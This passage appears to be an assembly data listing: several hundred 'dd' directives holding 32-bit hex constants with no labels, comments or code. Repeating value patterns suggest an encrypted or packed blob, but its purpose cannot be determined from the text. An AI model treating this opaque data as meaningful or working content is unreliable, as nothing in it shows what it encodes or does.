		dd 0A3697DCDh, 9506456Ch, 0FD069CDEh, 1566113Ah, 0AAC1FB2Dh
		dd 0C6D6777Bh, 743C746Bh, 3B8D9253h, 0EB4D0C3Dh, 0FC9FBBCDh
		dd 1566221Fh, 1561933Dh, 75068832h, 1292C453h, 1418A253h
		dd 1BE31ECCh, 0FC9977CCh, 15664423h, 36D576A5h,	562FBECAh
		dd 6E9FEBE9h, 1C3FCB8Eh, 0E9C3CB5Eh, 9269EECDh,	15668825h
		dd 156656DBh, 41106332h, 0BDD248B2h, 0A64DFFBh,	0E8BFFD4Ah
		dd 7D26E5B1h, 15664E57h, 0FC42BCBBh, 1566443Fh,	9A656677h
		dd 0FF844814h, 0DDA9BE90h, 7E332CF4h, 19EF2232h, 4E71E16h
		dd 0FC668832h, 1566443Eh, 66CBEC98h, 3C1383FFh,	8965EB37h
		dd 0EFAFA52h, 68F24E7h,	0F8661132h, 1B03A729h, 0C33AC51Ah
		dd 9CC4CDEEh, 57DA9163h, 7D07B79Fh, 156600CFh, 75423EBBh
		dd 156614DBh, 88E6F032h, 0AE00A3ECh, 7D07DBD3h,	156659F5h
		dd 7542B4BBh, 156641DAh, 7B701632h, 4C9FEFCCh, 0B1B00954h
		dd 0D55725B9h, 479F8EC7h, 0C6EED3BAh, 96429CB9h, 946940F6h
		dd 15662224h, 156600DBh, 71718B32h, 246EB2Bh, 0C3A6B809h
		dd 650A14AAh, 4700F7B9h, 0C646B480h, 3172A954h,	1564D5B3h
		dd 95938832h, 916934C9h, 156627A4h, 15661BDBh, 30DC5532h
		dd 5ACE4EF0h, 293AF4EEh, 0EFE21E3Dh, 0E9668832h, 1567C93Dh
		dd 29932232h, 0C3E21EDBh, 1A668838h, 156657B9h,	1568CB32h
		dd 1941132h, 95B844C7h,	0B4371CB1h, 10E23CADh, 9169FA0Eh
		dd 156686AAh, 1573CF3Dh, 58F2232h, 19661132h, 0D6E7B121h
		dd 34347AB2h, 0A3F18C3Ah, 0ED93C1CBh, 91696B0Eh, 15664774h
		dd 9ACA9C52h, 0ED076794h, 91696A0Eh, 15664B4Ah,	156CA23Dh
		dd 1A061132h, 156688B5h, 7495CE32h, 4A4216CDh, 1562D5B3h
		dd 58F8832h, 0BE664432h, 4C730B17h, 0A6D71645h,	1087B4BCh
		dd 9E78D0D9h, 9C33062Eh, 11A390D7h, 96668832h, 39E140F7h
		dd 9F697E16h, 15661133h, 156F61CBh, 285E4432h, 967DA313h
		dd 9E19EEF7h, 9C33AC3Eh, 11A3C5D7h, 94662232h, 156615F7h
		dd 314A0F32h, 21EDBC6Eh, 0F6EF7116h, 1562D2B3h,	0D6E58832h
		dd 317AC336h, 19EA2D6Eh, 1A661132h, 15668EB8h, 15EF4B32h
		dd 0D6662232h, 37E3D6CEh, 13609F94h, 0ED664432h, 1508D55Ah
		dd 31729832h, 15668888h, 9F944532h, 47937828h, 0A71DA162h
		dd 4DA4A06Eh, 0D56EA6F2h, 0DFE62AD0h, 0E3A4EF76h, 5E9408E8h
		dd 753C9712h, 15E12D60h, 4E661132h, 749C0354h, 1AE6BFB2h
		dd 0EA9909B7h, 1DEB1ECDh, 75668832h, 0AD002552h, 4607D906h
		dd 0EA99EE89h, 4EB889CDh, 0F0E3CFCBh, 1A60321Fh, 156610BAh
		dd 80ED7132h, 13766C6Fh, 156632DBh, 7A858A32h, 89F65340h
		dd 5656E18Ch, 0CC463302h, 11E74774h, 0E57AA916h, 0A8331F20h
		dd 70DF05F9h, 9464F4F3h, 1E585C7h, 488D6DB6h, 1577AE3Dh
		dd 198F1132h, 0DC668832h, 7E846446h, 52494FE7h,	7D26AD2Ch
		dd 1566B2DFh, 0A84268BBh, 15662234h, 0FC3BFA33h, 1566883Dh
		dd 43366965h, 0DB824EEBh, 0A31A4DB5h, 1AF30872h, 156656BAh
		dd 156BCB32h, 27181132h, 7AFAE79Fh, 33650987h, 451E14C7h
		dd 1566138Ah, 44968932h, 1566448Bh, 16A72332h, 0E03E482Bh
		dd 97695009h, 15664424h, 15662ADBh, 0D5089132h,	0F898C768h
		dd 1ABC7F09h, 0EA9869B4h, 0D6E7E4CDh, 7D04C77Dh, 0AC37BF1Bh
		dd 0B035ACBh, 948FC07Bh, 0EB4494FBh, 12878575h,	6429D3B3h
		dd 0DE4F860Fh, 9A69706Bh, 15664433h, 0AC3772C7h, 15661134h
		dd 3C3F40BBh, 1A9F1CF1h, 156632BBh, 1FE01E32h, 0FC668832h
		dd 15664437h, 16FA4162h, 0FCCB7755h, 15668839h,	0CA3CB461h
		dd 2135A844h, 7356D3E9h, 1FE18799h, 75664432h, 73A7A954h
		dd 3C57F6B3h, 4D35D853h, 964258B9h, 1B8F26F6h, 0A7661132h
		dd 1B13316Eh, 0CFF3DD8Ah, 0A5F59D03h, 9269BAC1h, 15668825h
		dd 156656DBh, 7DBF2832h, 557BB42Fh, 7A6B7093h, 13EC9F4Eh
		dd 40B602A0h, 1566158Fh, 9E888932h, 0D1E5601Eh,	23D64236h
		dd 0F5E77752h, 0E1D90982h, 74190026h, 315AAB53h, 15661EDBh
		dd 11169732h, 4275C607h, 0BBCD3CEEh, 5E617062h,	1942FCBBh
		dd 14EE4BC7h, 0E9662232h, 1FF7A4BBh, 0FC9A8E22h, 1566443Ch
		dd 619A83AEh, 2F155587h, 718D7D1Fh, 21990C5Fh, 0D1E77D16h
		dd 15661136h, 0EFEDEE52h, 317ACF53h, 9483AB67h,	156615F7h
		dd 11A30B32h, 494268B5h, 316AA9CAh, 94839867h, 15668CF7h
		dd 11A3C732h, 49420EB5h, 31529ACAh, 94810165h, 156640F5h
		dd 11A1A132h, 49422DB5h, 4B32DECEh, 156282B3h, 0D3E52232h
		dd 31529636h, 14E9876Eh, 0E9664432h, 0EA86F9DBh, 90A1E9CDh
		dd 13712E10h, 15664430h, 0EBED4452h, 15649B3Dh,	0DBD18832h
		dd 0A10EBC53h, 9C662244h, 0FC3D3506h, 15668820h, 0F5BE279Eh
		dd 0F38EA162h, 0ECE1B09Bh, 0B81C3A65h, 0A3696555h, 19E62D3Ch
		dd 1A661132h, 15668EBEh, 15EC4B32h, 95662232h, 966991CBh
		dd 1566885Fh, 156657DBh, 6B5E1D32h, 0F2B6CA80h,	2E4D67A9h
		dd 0AB81797Ch, 56E22E6Ch, 41E1AF64h, 0E64FF5FEh, 94AD456Ch
		dd 0D932A5F1h, 0DEED714Fh, 0ADDCDA53h, 0E26A8F45h, 5FB4D5E0h
		dd 52949070h, 3C95BCBAh, 1E8F1EE1h, 0C5662232h,	3F2957BAh
		dd 0C49D715h, 0BF8F5F22h, 75662232h, 5D0DD2B3h,	7507BBAAh
		dd 1565C53Dh, 9E002232h, 0F5B391CCh, 0A235D853h, 95A9BA6Bh
		dd 0CA90C7C5h, 0E3D1DEB2h, 1F8908EDh, 3D3DBCBAh, 9F067AF3h
		dd 13E61EECh, 1A668832h, 156644B5h, 150E4332h, 3C661132h
		dd 19EDAC3Eh, 11A2C716h, 1576A93Dh, 1E8F1132h, 3A668832h
		dd 7B59F074h, 51A94037h, 439F0D7Fh, 910AA98Ch, 0B380C55Dh
		dd 9454356Ch, 112ACEC4h, 9E97A910h, 0D1E76006h,	15662236h
		dd 21DE41CBh, 1472E649h, 0DE4F1CF1h, 6E52C9B3h,	78F055Ch
		dd 0CF668832h, 0E5381E0Bh, 37A992CDh, 348A8328h, 0F779A410h
		dd 0F0E3CFF2h, 0EC60321Fh, 3D3B84B9h, 92698E22h, 15664439h
		dd 156624DBh, 3394932h,	96A6DD05h, 54C598Fh, 91692334h
		dd 156615B5h, 1562053Dh, 75064432h, 73064353h, 1A02AD88h
		dd 156682B7h, 1563AD32h, 70412232h, 74D6B7C4h, 97694B0Bh
		dd 1566406Dh, 1AB51BCEh, 0EA9D36B0h, 14EE87CDh,	0ED664432h
		dd 1578A73Dh, 0AD061132h
		dd 7EF1D4FDh, 156656DBh, 0DE0BDB32h, 0B48A03F1h, 0AC74D6DEh
		dd 0CB4CF021h, 748C94A4h, 156237DBh, 90A17D32h,	1371E210h
		dd 15662230h, 15679E3Dh, 0E99A8832h, 9C62A8B1h,	39E70606h
		dd 0D0618016h, 0D6E7D318h, 3FA343A3h, 1570A03Dh, 9B691132h
		dd 15668822h, 15664FDBh, 3EE7F332h, 2253477h, 0B0E37896h
		dd 0E968F23Dh, 1AE6DBB2h, 15668BB1h, 2E78732h, 0FC664432h
		dd 15662220h, 0A470D078h, 6CEC6DEh, 6C4CD87h, 983B3345h
		dd 1A061B81h, 15668ABDh, 733E1432h, 0A5B3D3B3h,	3BA59053h
		dd 1454DC35h, 99DF15F9h, 944CA662h, 0FA6137D3h,	3F970916h
		dd 3C749435h, 9F697BF9h, 15661127h, 1569053Dh, 1F8F4432h
		dd 0DE662232h, 86BA6B69h, 71CF0B2Dh, 1E84B49h, 75662232h
		dd 156616DBh, 21646232h, 0F0D6F1FAh, 1566A43Dh,	42071132h
		dd 0EA99778Dh, 4A9D6DCDh, 15C2CBCEh, 1D8F1132h,	0AB668832h
		dd 3921A900h, 46A9A7E0h, 9D66A463h, 0F6B6D1D9h,	3D67AFB2h
		dd 198F79EBh, 5B661132h, 63E53E23h, 0A51C3364h,	44FA2D42h
		dd 0E23B4867h, 1A8F0FEFh, 15664CB1h, 17E12D32h,	75661132h
		dd 68FE853h, 0EB664432h, 677772Ch, 0F0E0789Eh, 3D9C2EA2h
		dd 74C32DFFh, 4CDE4CF0h, 747D7EE2h, 15993765h, 0EC474432h
		dd 94421EB9h, 156615F6h, 15686132h, 5B514432h, 9F6010F3h
		dd 163D8371h, 0F86CC1E6h, 3937FA64h, 0E64F592Bh, 94AD386Ch
		dd 0C4AD9F1h, 12ED4B49h, 1A662232h, 156610BFh, 90ED7132h
		dd 137669D7h, 1573A63Dh, 58F1132h, 45668832h, 192D83B6h
		dd 0F45B5A51h, 66257006h, 9ECFEB39h, 54E19A7h, 1572CB34h
		dd 0F4D01132h, 4C20224Dh, 0C34972F0h, 0B7E99D0Fh, 7CF27D5Bh
		dd 0A8E5CFCCh, 13766E2Fh, 4DE22D33h, 0EC661130h, 97695009h
		dd 15664411h, 156DCA52h, 39D61132h, 0BACA31B7h,	0A1B58F6Fh
		dd 4CCC9658h, 0BDB99054h, 0C65FE97Ah, 0ED98C23Dh, 409EDDCDh
		dd 0EA99EE8Fh, 488889CDh, 0B075FE52h, 0A2690C21h, 473570FBh
		dd 0E2EE3984h, 0B789C468h, 0FC3DDABAh, 1566113Dh, 6CBF754Dh
		dd 1E597302h, 92F79D0Dh, 0BFA9CE5Bh, 0F9E5E952h, 317ACD36h
		dd 15662289h, 9F951032h, 1A06D339h, 0AB06848Dh,	6D5C2B9h
		dd 0C750BB88h, 4707E914h, 0FBE6CE84h, 95B8D498h, 84D6E0F4h
		dd 1A3C7802h, 15664FB1h, 1560CB32h, 0C461132h, 0F9BF5E81h
		dd 1AD41654h, 9E00F312h, 0D1E73526h, 15668830h,	156657DBh
		dd 93CD5432h, 3527EE75h, 6D527A5Bh, 9114C6h, 0BDDA64D5h
		dd 18FD93Ah, 9C668832h,	0C4150A6h, 0E5C18CAAh, 947D9E9Ch
		dd 0AA589F7Fh, 0BFE3CFF4h, 157CA03Dh, 0FC061132h, 15668835h
		dd 6480C4E9h, 0FC13D649h, 15661135h, 8B4816F9h,	744CA229h
		dd 6CB09B63h, 0DE6764DAh, 949DA16Bh, 0FD1F92D9h, 0AC37DA47h
		dd 15661136h, 7AE063B3h, 0DE4F4240h, 7AE0E1B3h,	0FC3F1740h
		dd 15668838h, 0DF3998D4h, 0F2A8A65Bh, 9069E6CBh, 1566883Ah
		dd 1564C43Dh, 74062232h, 0D657C903h, 1C8F5003h,	0A0664432h
		dd 7053C96h, 0CBC5327Eh, 0AD367199h, 15664430h,	11EDE433h
		dd 11A29216h, 156B033Dh, 1D8F4432h, 0E0662232h,	0C0EC3943h
		dd 9C4D0844h, 56CD587h,	90A1D734h, 13763B2Fh, 15668833h
		dd 0E2D94B52h, 3B3C098Ch, 9D697057h, 15668838h,	1A072452h
		dd 156622B7h, 41367032h, 15628D6Ah, 0D5E54432h,	3162A536h
		dd 14E41E6Eh, 0EC668832h, 15664ADBh, 65A94C32h,	468A35E6h
		dd 1946F604h, 9E80BA94h, 9C31062Eh, 11A190D5h, 96668832h
		dd 29E140F5h, 9D697E16h, 1566113Ch, 156681DBh, 0AFAA5532h
		dd 0BF946DACh, 19ED4D89h, 0F6EFDB16h, 156287B3h, 0D6E52232h
		dd 317A9636h, 9C30706Eh, 11A0C5D4h, 96662232h, 0EA3015F4h
		dd 4B62AC46h, 494240BDh, 0F7EF70CBh, 1562D3B3h,	0AD368832h
		dd 15664436h, 923EE033h, 0EC3A3526h, 0EABC6BDBh, 1A0624CDh
		dd 156622B0h, 0FBAC9032h, 746126D5h, 4007BF86h,	0C868E28Fh
		dd 0A1AB9059h, 5008302Ah, 942B91C5h, 17872AC7h,	488838A2h
		dd 157461CEh, 300F4432h, 63BE8B0Dh, 0AE0EE6FFh,	0B7721928h
		dd 1EE80C82h, 0A5829561h, 15D13D37h, 4ED18CCAh,	0EC9F2452h
		dd 0FFDE4453h, 0E0CC705Bh, 0CADED864h, 147FE94Dh, 4D620676h
		dd 6AB93C6Ah, 7506919Fh, 0AB0025CAh, 43070289h,	4F36AF8Ch
		dd 4B96A151h, 0AB63BC1Bh, 0EC057862h, 1561953Dh, 0A5068832h
		dd 0E3D14BFDh, 7D317053h, 7C1A44A6h, 0C089096Dh, 0E2634670h
		dd 5091A3EDh, 9CFD94DFh, 0C54FD7C8h, 1576AD68h,	3F5E2232h
		dd 0C993B5C8h, 0E26F3A06h, 3340D636h, 0E0CD19C0h, 10869862h
		dd 15668836h, 926284B1h, 31ED0636h, 94007116h, 0A499E9E4h
		dd 9ED25D7h, 0F0EF7716h, 1562D4B3h, 0D0E58832h,	314AC336h
		dd 1560CB6Eh, 0BD1F1132h, 0F8F1E326h, 316ACFCBh, 9483AB67h
		dd 156615F7h, 11A30B32h, 494268B5h, 3152A9CAh, 94839867h
		dd 15668CF7h, 11A3C732h, 49420EB5h, 0F6EF42CBh,	15623260h
		dd 0C6674432h, 11A5A168h, 49420DB5h, 0AF06E8CEh, 3FA5A98Bh
		dd 0EFD92D53h, 0C9EDF853h, 0AB0677CDh, 3E9806ABh, 37E3E553h
		dd 10600694h, 75668832h, 9EA1FB3Dh, 750643E4h, 0DAE777C7h
		dd 740739D5h, 314AC564h, 40B4F9Fh, 94420DB9h, 15668CF6h
		dd 0B8A5C532h, 1A774F5Fh, 156610B6h, 40307432h,	1566408Fh
		dd 4888AB32h, 1A38E233h, 156691B1h, 1572AD32h, 6C632232h
		dd 0A61655A6h, 13756B2Dh, 18E1F1FBh, 0FD578F06h, 0AC3751C6h
		dd 15668832h, 0C65B533h, 94422EB9h, 156615F6h, 1EE88732h
		dd 75664432h, 4B67F8B3h, 0DBE64ABAh, 90EDE923h,	137669D7h
		dd 157BA03Dh, 0FD061132h, 15668822h, 9C4A30A7h,	0CC7244B9h
		dd 87505EB0h, 313B942h,	0DFE7226Dh, 9E075808h, 54E4CA7h
		dd 429A7D34h, 6210858Dh, 0D2E76D39h, 0E1EE980Dh, 0FC397633h
		dd 15664420h, 30C4519Eh, 258E4C88h, 5E0BF17Eh, 0AC842AC0h
		dd 0A8E5E971h, 1376059Fh, 0FEE28733h, 1A664437h, 156623B1h
		dd 0CD5DE832h, 155A0A3Dh, 75064432h, 15662FDAh,	23838532h
		dd 0ABFF4BDAh, 0F5A46F2Ah, 1A3FBCE8h, 156611B9h, 0AA00E932h
		dd 2E07403Ch, 52E02DE8h, 75661133h, 0E6D98752h,	0E12796B3h
		dd 0AB077494h, 5993B4E4h, 0A0EF7053h, 13764EA3h, 9F694352h
		dd 15661133h, 37FB03CBh, 75605394h, 0ED3F7452h,	2CF7AE53h
		dd 4007EFB0h, 287D378Fh, 310A2316h, 49674C22h, 79E78416h
		dd 0E154816h, 9369060Fh, 15661133h, 103A61CEh, 0E0064432h
		dd 315AA953h, 94819865h, 15668CF5h, 11A1C732h, 49421EB5h
		dd 12E11ECEh, 1A668832h, 156645BDh, 90A1DB32h, 1376059Fh
		dd 15668833h, 16E54B52h, 73662232h, 18FE3B9h, 73668832h
		dd 0D4FAAD62h, 0D9535442h, 9E7678ACh, 0EF9D39EDh, 74F9A019h
		dd 45423EB9h, 1163F1BBh, 10668832h, 15664436h, 494226B5h
		dd 156619DBh, 0B27AA032h, 994A0DECh, 316AA9EEh,	94839867h
		dd 15668CF7h, 11A3C732h, 49420EB5h, 156A933Dh, 92698832h
		dd 15664434h, 1566A73Dh, 21ED1132h, 0F3EFDE16h,	156282B3h
		dd 0D3E72232h, 15661136h, 4942BCB5h, 0F0EF11CEh, 1562E7B3h
		dd 0D0E51132h, 314ABB36h, 26426803h, 1A3A061Eh,	156609B4h
		dd 15756132h, 4344432h,	0B071A860h, 0BE9C6A3Dh,	0AF427298h
		dd 30E334B4h, 0C24CCBB1h, 7306EECDh, 0E98B858Dh, 0A8E5BC53h
		dd 1376082Fh, 4AE21E33h
		dd 0FC668836h, 15664422h, 0D24057F3h, 8A71E53Fh, 502D2646h
		dd 95B0FCB7h, 3883BF19h, 9E9A1722h, 56CADBFh, 0FCE7B834h
		dd 2165F19h, 46B9F8B3h,	0CC67B117h, 46B985B3h, 0D4E71B17h
		dd 2166C19h, 15668DDBh,	46CF7C32h, 0AD36BAEFh, 54A63281h
		dd 206E68F3h, 0E6D4FF16h, 3C3EE333h, 318F90CBh,	1A55193Ah
		dd 156645B0h, 0AA31DB32h, 338E19DEh, 1D8167B3h,	0EC4F62DAh
		dd 0AA00426Dh, 0CAE79558h, 59FF3807h, 0A1361653h, 868AA2D2h
		dd 0A53EF7BAh, 4F96B896h, 1568C73Dh, 1C8F2232h,	68661132h
		dd 0C9D7EEBCh, 0FDF513A2h, 0DD57DA98h, 0DD57D003h, 9C6923CAh
		dd 15664435h, 1567A13Dh, 429E1132h, 0AE356FBBh,	15664436h
		dd 963DFD33h, 29E115F5h, 9A69D416h, 15664429h, 15ED2D52h
		dd 0FD661132h, 1566883Fh, 68C8CA07h, 4ACDB712h,	0C7D1D7F1h
		dd 0EA07D2DCh, 943D6006h, 156626F6h, 19EDE832h,	0F3EFDE16h
		dd 156282B3h, 0D3E72232h, 15661136h, 4942BCB5h,	3152BBCAh
		dd 11A2A16Ch, 1C8E7152h, 50668832h, 7FB95A1Ah, 0AD019C7Ch
		dd 0FC07E86Ch, 15668822h, 771F4FA3h, 8D117689h,	0F6A076DEh
		dd 0CBC1941Ah, 0F6EF1753h, 1562E1B3h, 0D6E51132h, 317A0F36h
		dd 0FC4260B9h, 15662238h, 0F443E27Dh, 830ACBBEh, 0B78FDE76h
		dd 0E999DDEAh, 0B34494F5h, 15648E25h, 7D9A4432h, 15661629h
		dd 9C423DBBh, 488D01C7h, 940024CAh, 74F8E9D0h, 1A68A73Dh
		dd 156689BFh, 0ECE6BC32h, 39E52DB2h, 0E0661132h, 1E0963B3h
		dd 0FEE74589h, 755614D9h, 0D6E7DA33h, 7556BED9h, 1E0987B3h
		dd 45932389h, 0EA99EE8Ah, 4DA5A1CDh, 15E1ADC7h,	479E2232h
		dd 0E7E63780h, 12844823h, 0E330AEB2h, 95A4DCE8h, 0D4E639C0h
		dd 95B7A0A9h, 753CDFDBh, 156627DBh, 0ED024932h,	9B69A544h
		dd 15664433h, 9A6943CEh, 15661133h, 3FF3E0CBh, 19EF4432h
		dd 317AD516h, 4034ED6Bh, 0F20ED18Fh, 0D0A3C56Bh, 9412D218h
		dd 6247CF7h, 0F0A7CD7Bh, 148BC53Ah, 9C8CF7B9h, 0C4474CD8h
		dd 749AE868h, 562F87B3h, 0DE4F00CDh, 562FA863h,	0DE4FAACDh
		dd 9400246Bh, 0AE924FDDh, 3E157A15h, 0F0E30353h, 0FC60541Fh
		dd 15662239h, 293F2932h, 16E8B808h, 9E7DC82Bh, 54E7FA7h
		dd 12E81E34h, 75668832h, 9EC585B2h, 0D18F43ECh,	0E999EEC9h
		dd 0B3440DF5h, 15644225h, 1A062232h, 156613B4h,	7307E832h
		dd 368AAB3h, 118AA153h,	9C423DBBh, 488D01C7h, 156654DBh
		dd 6D1C4D32h, 3ACC7F78h, 0A995B048h, 9F974175h,	1BD02DC6h
		dd 0C4D11E52h, 959F0853h, 153AC73Dh, 0EC062232h, 3AD84753h
		dd 142B7338h, 0DE671AC1h, 1F49C9B3h, 128F5CC9h,	36668832h
		dd 0DA204CFBh, 0AA318EEAh, 0EA99EECDh, 0ED39731Bh, 15B7ADCBh
		dd 0FC062232h, 15661121h, 2A5EBE87h, 0C35968F0h, 0A4331CBFh
		dd 0A951A623h, 0FC80BE19h, 15664435h, 0D0C18BB6h, 7404BE99h
		dd 13D8EE52h, 0A7342547h, 1384E215h, 190EA162h,	0EB6DAC01h
		dd 317660FAh, 3DB42686h, 0D7E649F0h, 70AC08EDh,	3D74B6B2h
		dd 9B6978E3h, 1566113Ah, 1564013Dh, 74064432h, 0FCE7F3C5h
		dd 0EA99EECDh, 15668DDBh, 7AB98D32h, 0F9E52FCCh, 317A9836h
		dd 40027589h, 46ADC531h, 944C2E60h, 0B060ABF1h,	9E8D095Ch
		dd 942FC915h, 176C7FF9h, 32AD9033h, 94516F17h, 0E218C4D9h
		dd 4EBF0345h, 15661FDBh, 38048B32h, 16B72CDFh, 88ED9CB8h
		dd 409D4FD5h, 28269B8Fh, 488D6D57h, 0D6E7E91Bh,	705B5121h
		dd 0D6E7EE52h, 0AC00829Fh, 9E07EED7h, 54BF4B7h,	15616134h
		dd 72574432h, 0B2F1F787h, 1563F8A1h, 97F78832h,	9ED4E7E5h
		dd 54E7FA7h, 1C8F7134h,	0CF668832h, 9A321798h, 0FDA9F4D3h
		dd 1564923Dh, 74068832h, 8DBC753h, 14603218h, 0ED53953Dh
		dd 940677CDh, 35F404D0h, 74979752h, 9769C909h, 15668825h
		dd 156EC43Dh, 9B692232h, 15661130h, 0C65FE952h,	0FBB8C23Dh
		dd 459FDDCDh, 0EF0C898Ah, 0A45854Ah, 53631D73h,	3CE026B2h
		dd 1B8F49F4h, 0A668832h, 8330835Bh, 32C974CCh, 3445BBB8h
		dd 9E3070DDh, 0D1E5603Eh, 156FCB36h, 311E1132h,	0C4E101B2h
		dd 943BA932h, 321140F3h, 429F381Bh, 2E181A8Dh, 0C5A1C528h
		dd 3C68C9CAh, 9B694ECBh, 15668833h, 7612CCBh, 9EF2232h
		dd 1563AA16h, 0CC4F8832h, 78F2469h, 0CB662232h,	624A4B85h
		dd 0B3CB9B32h, 2BF9C58Fh, 0AD3A01C5h, 0A507E895h, 1D86481Dh
		dd 258FF260h, 0FD0678C2h, 15661137h, 1212CEDDh,	4E072496h
		dd 0CBD92D52h, 74A89A54h, 1A932253h, 15665AB5h,	0DE22D32h
		dd 0FC661132h, 15668821h, 3AFB47C0h, 4EEBD785h,	0F711DFA6h
		dd 6CAC47DAh, 2448F631h, 24A713FAh, 0FDE771FAh,	762E85E8h
		dd 0BE07A5B8h, 15662BDBh, 27565F32h, 6075E02Dh,	0F78FD912h
		dd 7599DDE6h, 9BD9054h,	74B83FB7h, 1566FF61h, 0E6672232h
		dd 9ED12B8h, 11A20B16h,	1568CD3Dh, 1C8F2232h, 0A2661132h
		dd 49F8C122h, 0C6CE4AD7h, 1A8E1ECBh, 15664FB6h,	0A6D8E832h
		dd 0ED55FE98h, 9E004253h, 74DFA4C8h, 250AE061h,	5E3D651Eh
		dd 0F6B7F9C5h, 75B0D2B3h, 0CDEFCA6Ah, 964258B9h, 48F26F6h
		dd 83661132h, 64503406h, 7FE2D119h, 0BE7A6ED7h,	488C0ED6h
		dd 156686DBh, 192C2232h, 0CAC03D62h, 840FE050h,	0FCBC9C3Bh
		dd 156645F3h, 1567A33Dh, 409E1132h, 0D0E76DBBh,	15664436h
		dd 1562CFB3h, 39E11132h, 9EFD416h, 1561AD16h, 0AEA52232h
		dd 0A5502CA5h, 9C35DD4Eh, 4EBBCDC1h, 1A3BC9BBh,	156609BAh
		dd 15756132h, 53D94432h, 0E45DA6F6h, 0DF9F7152h, 82069651h
		dd 22C0C3BAh, 14DC70D7h, 94661132h, 0D6C18F0h, 94944563h
		dd 0D6CB2D8h, 4F7C1263h, 156682DBh, 17EDF132h, 0F835DB79h
		dd 0FC173C4Ch, 15668826h, 4945B30Ch, 5A4C858Ah,	0FBBFA9FCh
		dd 0E101B25Fh, 554D6233h, 15639860h, 0C6671132h, 94429CB9h
		dd 156640F6h, 1C8E4232h, 61661132h, 41810BEFh, 1C0A88B1h
		dd 4EA79D3Dh, 1576983Dh, 1E8F8832h, 7B664432h, 0D13D3F9Ch
		dd 98B4849h, 44071808h,	0DDEEAC83h, 96422EB9h, 18F15F6h
		dd 71668832h, 0D616F093h, 0F9A12D13h, 611DE036h, 87833008h
		dd 0BF39D32Fh, 4B9F7552h, 4407C8B9h, 9827D48Bh,	32A7C50Ah
		dd 946A276Bh, 0FEF1FCF3h, 4CADA1EDh, 0D6E7BF1Bh, 31181042h
		dd 15661BDBh, 0CAF02132h, 6F3EC2E0h, 42C7FD09h,	1562AA61h
		dd 0CAEF8832h, 4A9D6D69h, 156AA23Dh, 90691132h,	15668834h
		dd 1566C53Dh, 0CD572232h, 0CD57D203h, 9C6923CEh, 1566443Eh
		dd 1560A73Dh, 98691132h, 15668832h, 4E4270CDh, 1562E6B3h
		dd 58F1132h, 0E668832h,	85470EFFh, 0E2C119D0h, 0E6404850h
		dd 4566FAE0h, 1566418Ah, 7F88A332h, 14658A1Dh, 7FA009F4h
		dd 4D65DF1Dh, 15662BDBh, 94545B32h, 5D4B1734h, 0AF3426D7h
		dd 15662233h, 1EDC1BBh,	11A20B16h, 156641DBh, 88840832h
		dd 138F08CAh, 0F8668832h, 64D3AF76h, 7D9AE1DAh,	1566283Fh
		dd 1A4284BBh, 156648B9h, 13E02D32h, 1A661132h, 156688B4h
		dd 23992232h, 3162A954h, 0FC64D5B1h, 1566883Eh,	9AA7B151h
		dd 0F4820A6h, 1E0CDBA4h, 91694B0Eh, 15664521h, 1AAD1ECAh
		dd 15671BB6h, 0D75A7432h, 1405C03Dh, 75062232h,	0FC074962h
		dd 15668823h, 64A325Bh,	4C14776Bh, 7B397164h, 0D8698F57h
		dd 0DF5A25C4h, 1459A63Dh, 138F1132h, 4E668832h,	728DCADAh
		dd 0EA5B442Dh, 74E21E17h
		dd 75668833h, 9FAFF33Dh, 1E8F43E5h, 7D661132h, 79CBF952h
		dd 5868F46Ah, 28002CFCh, 9069EE1Ch, 15668868h, 9480CE52h
		dd 3393B8D2h, 9A0E707Ch, 9C66887Dh, 17DD602Eh, 14662232h
		dd 4E659BC1h, 0A037EECBh, 738E64C2h, 94422EB9h,	156613F6h
		dd 15746132h, 0E1964432h, 0E6C1151Ah, 0E2095F2Fh, 27205D28h
		dd 65EB0CF7h, 9169820Eh, 1566107Ah, 156E0B3Dh, 9C694432h
		dd 15662230h, 19ED7052h, 0F2EFDF16h, 156283B3h,	0D2E72232h
		dd 15661136h, 4942B4B5h, 150EBCCEh, 9E662232h, 0D1E53536h
		dd 156B6136h, 0BFD4432h, 3375219Ah, 4A3BCAB7h, 0FC5FDBF7h
		dd 1566459Ch, 1E8F42CBh, 0A0661132h, 198E716Ch,	0E5AC905Ch
		dd 2407B579h, 1A8E71FBh, 33668832h, 2A38C7ACh, 0FCC7115Ah
		dd 9FDED841h, 1A39D8F7h, 156642BCh, 15EA2D32h, 74661132h
		dd 25853664h, 0FBE721A2h, 26840CBDh, 6458DFB3h,	0C391824Ah
		dd 9463A2F3h, 0DB09FDC4h, 4B97384Dh, 157761CEh,	2FA24432h
		dd 8D8115DAh, 8A855A0Eh, 0EA9CEF12h, 0FCCAA068h, 15662287h
		dd 16DB44CAh, 45668832h, 0D4EFACBBh, 1E8F7F6Ah,	0FF661132h
		dd 0EC8A825Ch, 690713CCh, 878F4277h, 1A661132h,	156687B7h
		dd 156CAD32h, 6E982232h, 3D356F09h, 289CD51Eh, 11E92C65h
		dd 0E239666Ah, 639190E5h, 9CDD2FC9h, 315ACFCBh,	7562E6B1h
		dd 15661BDBh, 7B0AD332h, 221B2B46h, 0FDE30AD0h,	1566113Fh
		dd 7655AA4Ch, 0A98B523h, 9B1CBF76h, 1568F8D7h, 0DD5E8832h
		dd 63D31AEBh, 0F6EC8492h, 16F0B4BEh, 3F8FE96Dh,	0E9664432h
		dd 45240A8Bh, 0FAAF9018h, 430B0C0Bh, 7C1D048Ch,	4D88A37Dh
		dd 24B985CDh, 0FC9ED6C3h, 1566443Bh, 10AB4E22h,	0A639CA3Dh
		dd 75C27BEEh, 1D8F8180h, 82662232h, 5C011487h, 74952EB9h
		dd 749E2452h, 48EBA953h, 0E960011Ah, 906941B7h,	1566442Dh
		dd 156EAA3Dh, 9A691132h, 15668830h, 98692552h, 15662236h
		dd 743C4152h, 3D3B3DBBh, 9E9F4222h, 9C37063Eh, 11A790D3h
		dd 94668832h, 156640F3h, 316AA532h, 0E3E6716Eh,	0D08E0982h
		dd 7420CC80h, 5C5C9D65h, 0C2917A7Eh, 399D47B3h,	0D2E73794h
		dd 1D2E6330h, 1A39E9BBh, 156689B2h, 75A5B832h, 0D63ED89h
		dd 17EF1E13h, 43668832h, 0FD062568h, 15662221h,	505BA53Eh
		dd 0DB37A735h, 0AF26F418h, 86A44618h, 0AF236297h, 73D595B9h
		dd 16EA4B68h, 95662232h, 7D07E9E8h, 156697E3h, 0AF4250BBh
		dd 15662232h, 9E00E333h, 299FD230h, 2AE24BF1h, 0ED662230h
		dd 1573903Dh, 58F8832h,	8B664432h, 0CDAFF13Ch, 0B8CEE9A4h
